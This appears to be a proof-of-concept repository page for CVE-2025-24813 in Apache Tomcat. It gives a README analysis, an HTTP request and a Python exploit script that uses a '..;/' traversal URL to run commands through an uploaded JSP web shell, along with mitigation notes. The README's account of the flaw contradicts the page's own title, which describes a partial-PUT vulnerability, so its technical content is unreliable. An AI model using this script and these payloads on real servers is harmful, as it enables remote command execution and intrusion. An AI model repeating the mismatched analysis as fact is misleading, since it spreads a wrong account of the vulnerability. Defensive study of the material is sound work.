CVE-2025-24813 PoC — Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT

Source

Associated Vulnerability

Readme

# CVE-2025-24813: Apache Tomcat Path Equivalence RCE

*A detailed technical analysis of the path equivalence vulnerability in Apache Tomcat leading to a security constraint bypass and potential Remote Code Execution.*

-----

## 📚 Table of Contents

  * [Vulnerability Details]
  * [📖 Description]
  * [🔬 Technical Root Cause]
      * [The Core Concept: Desynchronization]
      * [The Culprit: The Semicolon (;) Parser]
  * [💥 The Attack Chain]
  * [🐍 Conceptual Exploit Logic]
  * [🛡️ Mitigation and Defense]
  * [⚠️ Disclaimer]

-----

## 📝 Vulnerability Details

| Detail | Value |
| :--- | :--- |
| **CVE ID** | `CVE-2025-24813` |
| **Severity** | **Critical** |
| **CVSS v3.1 Score** | `9.0` |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` |
| **Affected Software**| Apache Tomcat (Specific, non-default configurations) |
| **Impact** | Security Constraint Bypass, Remote Code Execution (RCE) |

## 📖 Description

**CVE-2025-24813** is a critical path equivalence vulnerability in Apache Tomcat. It originates from an inconsistent parsing of URLs that contain special characters, specifically the semicolon (`;`). This inconsistency allows an attacker to craft a malicious URL that is interpreted differently by the security-checking component and the file-serving component.

By exploiting this desynchronization, an attacker can bypass security rules designed to prevent script execution in restricted directories. When combined with a file upload functionality, this flaw can be escalated to achieve full **Remote Code Execution (RCE)** on the server.

> **Note:** This vulnerability is dependent on a specific **non-default server configuration** that alters the standard URL parsing behavior.

-----

## 🔬 Technical Root Cause

### The Core Concept: Desynchronization

The fundamental issue is a desynchronization between two key server components when processing a URL.

> Imagine a secure facility where a guard at the main gate checks your destination on a map. You show a route that begins in a public area (`/app/user/`), and the guard approves entry. However, your map contains a "secret passage" (`/..;/`) that the guard's simplified view doesn't process. Once inside, you follow this passage to a high-security lab (`/uploads/`) and gain unauthorized access.

The server's components fall for a similar trick.

### The Culprit: The Semicolon (`;`) Parser

The semicolon is a special character used for path parameters (e.g., `jsessionid`). The vulnerability arises from how different components handle it:

1.  **The Security Manager (The Guard):**

      * Receives a URL like `/app/user/..;/uploads/shell.jsp`.
      * It may parse the path only up to the special character (`;`), analyzing just `/app/user/`.
      * It checks security rules for `/app/user/`, finds them permissive, and **approves** the request.

2.  **The File System Resolver (The Guide):**

      * Receives the **approved** request with the full path.
      * It correctly processes the `..` as a directory traversal instruction.
      * It navigates from `/app/user/` up to `/app/` and then down into `/uploads/`, ultimately locating and **executing** the `shell.jsp` file from the restricted directory.

This disagreement is the root cause of the security bypass.

-----

## 💥 The Attack Chain

An attacker can achieve RCE by following these steps:

1.  **Upload Payload:** The attacker uses an existing file upload form on the web application to upload a malicious JSP web shell (`shell.jsp`) to a known, non-executable directory (e.g., `/uploads`).

2.  **Discover Endpoint:** The attacker identifies a legitimate, executable JSP endpoint on the server, such as `/user/profile.jsp`.

3.  **Craft & Execute:** The attacker crafts the final URL and sends the request to the server.

    ```http
    GET /app/user/..;/uploads/shell.jsp?cmd=id HTTP/1.1
    Host: target-server.com
    ```

The server is tricked into executing `shell.jsp`, which runs the `id` command and returns the output.

-----

## 🐍 Conceptual Exploit Logic

The following Python script illustrates the logic needed to trigger the vulnerability after a shell has been uploaded.

```python
# This is a conceptual script for educational purposes.
# It requires you to know the path to an already uploaded JSP shell.

import requests
import sys

def exploit_tomcat(target_url, shell_path):
    """
    Demonstrates the logical flow for exploiting CVE-2025-24813.
    """
    print(f"[*] Assuming JSP shell has been uploaded to: {shell_path}")

    # Craft the malicious path using a valid endpoint and path equivalence.
    # The endpoint '/user/' is just an example and must be found via enumeration.
    malicious_path = f"/user/..;/{shell_path}"
    trigger_url = f"{target_url}{malicious_path}"

    print(f"[*] Crafted trigger URL: {trigger_url}")

    # Send the payload to execute a command.
    command = "whoami"
    params = {'cmd': command}

    print(f"[*] Sending payload to execute command: '{command}'")
    try:
        response = requests.get(trigger_url, params=params, timeout=10)
        if response.status_code == 200 and len(response.text.strip()) > 0:
            print("\n[+] SUCCESS! Command executed successfully.")
            print("-------------------- OUTPUT --------------------")
            print(response.text.strip())
            print("----------------------------------------------")
        else:
            print(f"\n[-] Exploit failed. Server responded with status: {response.status_code}")

    except requests.RequestException as e:
        print(f"\n[-] An error occurred: {e}")


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage:   python3 exploit.py <target_url> <path_to_shell>")
        print("Example: python3 exploit.py http://10.10.10.123:8080 /uploads/shell.jsp")
        sys.exit(1)

    target = sys.argv[1]
    shell = sys.argv[2]
    exploit_tomcat(target, shell)
```

-----

## 🛡️ Mitigation and Defense

  - **🥇 Patch Immediately:** The most effective mitigation is to upgrade Apache Tomcat to a patched version where the URL parsing inconsistency has been resolved.
  - **⚙️ Secure Configuration:** Review your server's `server.xml` and `web.xml` files. Revert any non-default settings related to URL parsing or path parameter handling unless they are absolutely necessary and fully understood.
  - **🧱 Web Application Firewall (WAF):** Deploy a WAF with rulesets designed to detect and block anomalous URL patterns, including directory traversal sequences combined with semicolons (`/..;/`).

-----

## ⚠️ Disclaimer

This document is for **educational and research purposes only**. The information provided is intended to help security professionals and developers understand and defend against this type of vulnerability. Unauthorized attacks on computer systems are illegal. Always obtain explicit permission before conducting any security testing.

File Snapshot

 [4.0K]  /data/pocs/6cf1f428f7a0d198c55ec4a46f16842d6341a26d
├── [1.7K]  exploit.py
├── [1.0K]  LICENSE
└── [6.8K]  README.md

0 directories, 3 files

Remarks